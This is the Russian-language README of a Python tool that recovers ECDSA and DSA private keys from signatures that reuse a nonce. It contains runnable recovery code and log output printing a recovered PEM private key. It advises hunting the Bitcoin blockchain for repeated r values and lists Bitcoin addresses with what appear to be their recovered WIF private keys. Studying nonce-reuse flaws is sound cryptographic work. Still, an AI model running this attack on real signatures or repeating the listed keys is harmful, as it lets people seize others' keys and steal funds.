ecdsa-key-recovery

Выполнение атак восстановления закрытого ключа при повторном использовании nonce в ECDSA и DSA

Криптографический исследовательский инструмент для анализа уязвимостей подписей

Давайте восстановим закрытый ключ для двух подписей, использующих один и тот же nonce k. Обратите внимание, что выбор одного и того же nonce k приводит к тому, что обе подписи имеют одинаковое значение подписи r. Чтобы найти хороших кандидатов для проверки повторного использования nonce в ECDSA, ищите подписи с одинаковыми r, pubkey на curve для разных сообщений (или хэшей). Например, блокчейн-проекты на основе bitcoind обычно являются хорошими источниками материала ECDSA-подписей.

• sampleA (r, sA, hashA, pubkey, curve)
• sampleB (r, sB, hashB, pubkey, curve)

sampleA = EcDsaSignature(r, sA, hashA, pubkey, curve)
sampleB = EcDsaSignature(r, sB, hashB, pubkey, curve) # тот же privkey, что и у sampleA, идентичный r из-за повторного использования nonce k.

# восстановить закрытый ключ
sampleA.recover_nonce_reuse(sampleB)  # заполняет sampleA восстановленным закрытым ключом, готовым к использованию
print sampleA.privkey 

установка

Python 2.x:

#> virtualenv -p python2.7 .env27
#> . .env27/bin/activate
(.env27) #> python -m pip install -r requirements.txt
(.env27) #> python setup.py install
(.env27) #> python tests/test_ecdsa_key_recovery.py

Python 3.x:

#> virtualenv -p python3 .env3
#> . .env3/bin/activate
(.env3) #> python -m pip install -r requirements.txt
(.env3) #> python setup.py install
(.env3) #> python tests/test_ecdsa_key_recovery.py

Восстановление закрытых ключей из блокчейна Bitcoin

tools/README.md

BTC Address	Base58 Privkey	r
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	113563387324078878147267949860139475116142082788494055785668341901521289846519
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	18380471981355278106073484610981598768079378179376623360720556873242139981984
1C8x2hqqgE2b3TZPQcFgas73xYWNh6TK9W	5JKkG6KXLCCPXN9m29ype6My7eR4AnCLaHKYrLvn6d3nd8BLjjw	19682383735358733565748628081379024202682929012377912380310432818686294127462
1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962	5JsYaHVGCUzuXaQ5VkaA21VFPJFuArRWfSB77sqzWkWuTMMjXsT	6828441658514710620715231245132541628903431519484374098968817647395811175535

Пример

создание восстанавливаемых объектов подписей:

from ecdsa_key_recovery import DsaSignature, EcDsaSignature, ecdsa, bignum_to_hex, bytes_fromhex

# указать кривую
curve = ecdsa.SECP256k1

# создать стандартный объект pubkey ecdsa из hex-строки
pub = ecdsa.VerifyingKey.from_string(
        bytes_fromhex("a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b3647954da3444d33b8d1f90a0d7168b2f158a2c96db46733286619fccaafbaca6bc"), curve=curve).pubkey
            
# создать восстанавливаемые объекты подписей sampleA и sampleB.
# длинное r, длинное s, bytestr hash, объект pubkey.
sampleA = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          49278124892733989732191499899232294894006923837369646645433456321810805698952), #s
                         bytes_fromhex(bignum_to_hex(
                             765305792208265383632692154455217324493836948492122104105982244897804317926)),
                         pub)
sampleB = EcDsaSignature((3791300999159503489677918361931161866594575396347524089635269728181147153565,   #r
                          34219161137924321997544914393542829576622483871868414202725846673961120333282), #s'
                         bytes_fromhex(bignum_to_hex(
                             23350593486085962838556474743103510803442242293209938584974526279226240784097)),
                         pub)
                         
# ключ ещё не восстановлен
assert (sampleA.x is None)     

восстановить закрытый ключ для sampleA

# попытка восстановить ключ - это обновляет объект sampleA
sampleA.recover_nonce_reuse(sampleB)    # восстановить закрытый ключ, общий с sampleB
assert (sampleA.x is not None)          # подтвердить успешность восстановления privkey. Это даёт нам готовый к использованию объект ECDSA privkey
assert sampleA.privkey

вывод

INFO:__main__:------------EcDSA------------
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=⨯ > - восстановление закрытого ключа из повторного использования nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a61 sig=(3791300999…,4927812489…) public=✔ private=✔ > - Закрытый ключ восстановлен!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----

DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=⨯ > - восстановление закрытого ключа из повторного использования nonce ...
DEBUG:__main__:<EcDsaSignature 0x2c7a5b sig=(3791300999…,4927812489…) public=✔ private=✔ > - Закрытый ключ восстановлен!
-----BEGIN EC PRIVATE KEY-----
MHQCAQEEIOdzzzX85WfQYiIDwo9nR4ozYbrn5utDZrUOHSfrHtguoAcGBSuBBAAK
oUQDQgAEpQ62aIfQP+GGtgj0d9mbx2McVuZLs699yX5xuRfFs2R5VNo0RNM7jR+Q
oNcWiy8ViiyW20ZzMoZhn8yq+6ymvA==
-----END EC PRIVATE KEY-----